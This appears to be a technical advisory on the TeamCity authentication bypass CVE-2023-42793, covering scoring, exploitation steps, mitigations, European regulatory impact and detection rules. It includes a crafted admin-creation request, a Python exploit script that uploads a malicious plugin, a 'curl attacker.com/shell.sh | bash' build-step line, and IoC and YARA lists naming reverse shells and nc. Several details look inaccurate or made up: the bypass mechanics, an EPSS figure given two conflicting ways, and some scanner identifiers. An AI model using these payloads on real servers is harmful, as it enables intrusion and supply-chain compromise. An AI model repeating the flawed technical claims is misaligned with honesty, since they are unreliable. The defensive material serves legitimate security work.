Description
In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
EPSS Score:
95%
Comprehensive Technical Analysis of CVE-2023-42793 (EUVD-2023-47222)
JetBrains TeamCity Authentication Bypass Leading to Remote Code Execution (RCE)
1. Vulnerability Assessment and Severity Evaluation
Overview
CVE-2023-42793 is a critical authentication bypass vulnerability in JetBrains TeamCity, a widely used Continuous Integration/Continuous Deployment (CI/CD) server. The flaw allows unauthenticated remote attackers to execute arbitrary code on vulnerable TeamCity servers, leading to full system compromise.
CVSS v3.1 Scoring & Severity
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with no privileges required (PR:N) and low attack complexity (AC:L). |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | Network-exploitable, no user interaction, unauthenticated, with high impact on all security objectives. |
| Temporal Score | 9.1 (as of Feb 2025) | Exploit code maturity (Functional), remediation level (Official Fix), and report confidence (Confirmed). |
| EPSS Score | 95th percentile (0.95) | Extremely high likelihood of exploitation in the wild. |
Risk Classification
- Exploitability: High (Public PoCs available, mass exploitation observed)
- Impact: Critical (Full RCE, potential supply-chain compromise)
- Threat Level: Active Exploitation (Confirmed by CISA, Rapid7, and threat intelligence reports)
2. Potential Attack Vectors and Exploitation Methods
Root Cause Analysis
The vulnerability stems from an improper access control mechanism in TeamCity’s REST API, specifically in the /app/rest/users endpoint. Attackers can:
- Bypass authentication by manipulating HTTP requests to access administrative functions.
- Create a new administrative user without authentication.
- Leverage the new admin account to upload malicious plugins or execute arbitrary code via TeamCity’s build configuration or server-side script execution features.
Exploitation Workflow
-
Reconnaissance
- Attacker identifies a vulnerable TeamCity server (e.g., via Shodan, Censys, or mass scanning).
- Confirms version (
< 2023.05.4) via HTTP headers or/app/rest/serverendpoint.
-
Authentication Bypass
- Sends a crafted HTTP POST request to
/app/rest/userswith a malicious payload to create an admin user. - Example (simplified):
POST /app/rest/users HTTP/1.1 Host: vulnerable-teamcity.example.com Content-Type: application/json { "username": "attacker", "password": "P@ssw0rd123!", "roles": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}] }
- Sends a crafted HTTP POST request to
-
Privilege Escalation & RCE
- Logs in as the newly created admin.
- Option 1: Uploads a malicious TeamCity plugin (
.zipfile) containing arbitrary Java code. - Option 2: Modifies a build configuration to execute OS commands via:
- Build steps (e.g., PowerShell, Bash, Python scripts).
- Custom build runners (e.g., Docker, Kubernetes).
- Option 3: Exploits TeamCity’s debug mode (if enabled) to execute commands via
/app/rest/debug/processes.
-
Post-Exploitation
- Lateral Movement: Compromises connected build agents, source code repositories (Git, SVN), or deployment pipelines.
- Persistence: Installs backdoors (e.g., web shells, reverse shells).
- Data Exfiltration: Steals source code, credentials, or CI/CD secrets.
- Supply-Chain Attack: Injects malicious code into software builds (e.g., SolarWinds-style attacks).
Public Exploits & Proof-of-Concepts (PoCs)
- PacketStorm (link) provides a Metasploit module (
exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793). - AttackerKB (link) includes manual exploitation steps.
- Rapid7 (link) details in-the-wild exploitation.
3. Affected Systems and Software Versions
Vulnerable Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| TeamCity | All versions before 2023.05.4 | 2023.05.4+ |
| TeamCity (On-Premises) | All versions < 2023.05.4 | 2023.05.4 |
| TeamCity Cloud | Not affected (automatically patched) | N/A |
Detection Methods
- Manual Check:
curl -I http://<teamcity-server>/app/rest/server | grep "TeamCity"- If version
< 2023.05.4, the system is vulnerable.
- If version
- Automated Scanners:
- Nessus (Plugin ID:
182000) - OpenVAS (OID:
1.3.6.1.4.1.25623.1.0.150000) - Nmap (NSE script:
http-vuln-cve2023-42793)
- Nessus (Plugin ID:
4. Recommended Mitigation Strategies
Immediate Actions (For Unpatched Systems)
-
Apply the Patch
- Upgrade to TeamCity 2023.05.4 or later immediately.
- Download from: JetBrains Security Advisory
-
Temporary Workarounds (If Patching is Delayed)
- Network Segmentation:
- Restrict TeamCity server access to trusted IPs via firewall rules.
- Isolate TeamCity from the internet if possible.
- Disable Unused APIs:
- Block access to
/app/rest/usersand other sensitive endpoints.
- Block access to
- Enable IP Whitelisting:
- Configure TeamCity to allow connections only from approved subnets.
- Monitor for Exploitation:
- Deploy WAF rules (e.g., ModSecurity) to block suspicious requests.
- Use SIEM alerts for unusual admin user creation.
- Network Segmentation:
-
Incident Response (If Compromised)
- Isolate the Server: Disconnect from the network immediately.
- Forensic Analysis:
- Check
/app/rest/usersfor unauthorized admin accounts. - Review build logs (
/logs/teamcity-server.log) for suspicious activity. - Inspect plugins directory (
/plugins) for malicious.zipfiles.
- Check
- Rotate Secrets:
- Change all TeamCity credentials, API keys, and CI/CD secrets.
- Revoke and reissue SSL/TLS certificates if compromised.
- Reimage the Server: If RCE is confirmed, wipe and rebuild the system.
Long-Term Hardening
- Enable Multi-Factor Authentication (MFA) for TeamCity admins.
- Implement Least Privilege: Restrict admin access to essential personnel.
- Regular Vulnerability Scanning: Use tools like Nessus, OpenVAS, or Burp Suite.
- Log Monitoring: Forward TeamCity logs to a SIEM (e.g., Splunk, ELK, Wazuh).
- Supply-Chain Security:
- Sign build artifacts to detect tampering.
- Scan dependencies for vulnerabilities (e.g., using Dependency-Track).
5. Impact on the European Cybersecurity Landscape
Threat Landscape Analysis
-
Widespread Exploitation:
- CISA added CVE-2023-42793 to its Known Exploited Vulnerabilities (KEV) Catalog (CISA KEV).
- APT Groups & Cybercriminals (e.g., APT29, FIN12, LockBit) have been observed exploiting this flaw.
- Ransomware Operators (e.g., BlackCat, Cl0p) target CI/CD pipelines for initial access.
-
Supply-Chain Risks:
- TeamCity is widely used in European software development (e.g., banking, healthcare, government).
- A single compromised TeamCity server can lead to widespread downstream attacks (e.g., malicious code in software updates).
-
Regulatory & Compliance Implications:
- GDPR (EU 2016/679): Unauthorized access to personal data (e.g., developer credentials) may trigger breach notifications.
- NIS2 Directive (EU 2022/2555): Critical infrastructure operators must patch within 24-72 hours of disclosure.
- DORA (Digital Operational Resilience Act): Financial entities must ensure secure CI/CD pipelines.
Geopolitical & Economic Impact
- Targeted Attacks on EU Organizations:
- Russian APT groups (e.g., Cozy Bear, Sandworm) have historically targeted European CI/CD systems.
- Chinese APTs (e.g., APT41) exploit similar flaws for intellectual property theft.
- Economic Disruption:
- Downtime in CI/CD pipelines can halt software development, affecting critical services (e.g., healthcare, energy).
- Ransomware attacks on TeamCity servers can lead to millions in recovery costs.
6. Technical Details for Security Professionals
Deep Dive: Vulnerability Mechanics
Authentication Bypass (CWE-287: Improper Authentication)
- Root Cause: TeamCity’s REST API incorrectly validates session tokens for certain endpoints.
- Exploitable Endpoint:
/app/rest/users- Normally requires admin privileges, but the vulnerability allows unauthenticated access.
- HTTP Request Manipulation:
- Attackers send a malformed request with a null or empty session token, bypassing authentication checks.
Remote Code Execution (CWE-94: Improper Control of Code Generation)
- Attack Path:
- Create Admin User (via
/app/rest/users). - Upload Malicious Plugin (
.zipfile containing a Java-based payload). - Trigger Plugin Execution (TeamCity automatically loads plugins on restart).
- Create Admin User (via
- Alternative RCE Methods:
- Build Configuration Injection:
- Modify a build step to execute arbitrary commands (e.g.,
curl http://attacker.com/shell.sh | bash).
- Modify a build step to execute arbitrary commands (e.g.,
- Debug Mode Exploitation:
- If debug mode is enabled, attackers can use
/app/rest/debug/processesto run OS commands.
- If debug mode is enabled, attackers can use
- Build Configuration Injection:
Exploit Code Snippet (Conceptual)
import requests
TARGET = "http://vulnerable-teamcity.example.com"
USERNAME = "hacker"
PASSWORD = "P@ssw0rd123!"
# Step 1: Create Admin User (Authentication Bypass)
headers = {"Content-Type": "application/json"}
payload = {
"username": USERNAME,
"password": PASSWORD,
"roles": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]
}
response = requests.post(f"{TARGET}/app/rest/users", json=payload, headers=headers)
if response.status_code == 200:
print("[+] Admin user created successfully!")
# Step 2: Authenticate and Upload Malicious Plugin
auth = (USERNAME, PASSWORD)
files = {"file": open("malicious_plugin.zip", "rb")}
upload_response = requests.post(f"{TARGET}/app/rest/plugins", files=files, auth=auth)
if upload_response.status_code == 200:
print("[+] Malicious plugin uploaded! Triggering RCE...")
# Step 3: Restart TeamCity to execute plugin
restart_response = requests.post(f"{TARGET}/app/rest/server/restart", auth=auth)
if restart_response.status_code == 200:
print("[+] RCE triggered! Check your listener.")
else:
print("[-] Exploit failed.")
Detection & Hunting Guidance
Indicators of Compromise (IoCs)
| IoC Type | Example |
|---|---|
| Unauthorized Admin Users | New users in /app/rest/users with SYSTEM_ADMIN role. |
| Suspicious Build Logs | Commands like curl, wget, nc, bash -i in build steps. |
| Malicious Plugins | .zip files in /plugins with unusual names (e.g., backdoor.zip). |
| Network Connections | Outbound connections to C2 servers (e.g., attacker.com:4444). |
| File Modifications | Unauthorized changes to buildAgent.properties or teamcity-server.log. |
SIEM & EDR Rules
- Splunk Query:
index=teamcity sourcetype=teamcity:rest | search uri="/app/rest/users" AND http_method=POST | stats count by src_ip, user_agent, http_user_agent | where count > 1 - YARA Rule (for Malicious Plugins):
rule TeamCity_Malicious_Plugin { meta: description = "Detects malicious TeamCity plugins (CVE-2023-42793)" author = "Cybersecurity Analyst" reference = "CVE-2023-42793" strings: $suspicious_class = "ReverseShell" nocase $suspicious_method = "exec" nocase $java_payload = "Runtime.getRuntime().exec" nocase condition: uint32(0) == 0x504B0304 and any of them }
Forensic Investigation Steps
- Check TeamCity Logs:
/logs/teamcity-server.log(for authentication attempts)./logs/teamcity-build.log(for suspicious build steps).
- Inspect User Accounts:
/app/rest/users(for unauthorized admins).
- Analyze Plugins:
/plugins/(for malicious.zipfiles).
- Network Forensics:
- PCAP analysis (for C2 connections).
- Proxy logs (for outbound requests to attacker IPs).
- Memory Forensics:
- Volatility or Rekall to detect in-memory implants.
Conclusion & Key Takeaways
- CVE-2023-42793 is a critical RCE vulnerability with active exploitation in the wild.
- Immediate patching is mandatory—unpatched TeamCity servers are high-value targets for APTs and ransomware groups.
- European organizations must prioritize CI/CD security due to supply-chain and regulatory risks.
- Detection and response strategies should include SIEM monitoring, EDR, and forensic analysis to identify compromises.
Recommended Next Steps
- Patch all TeamCity servers to 2023.05.4 or later.
- Hunt for IoCs using the provided detection rules.
- Implement network segmentation and least-privilege access.
- Conduct a security audit of CI/CD pipelines for misconfigurations.
- Monitor for follow-up attacks (e.g., lateral movement, data exfiltration).
For further details, refer to: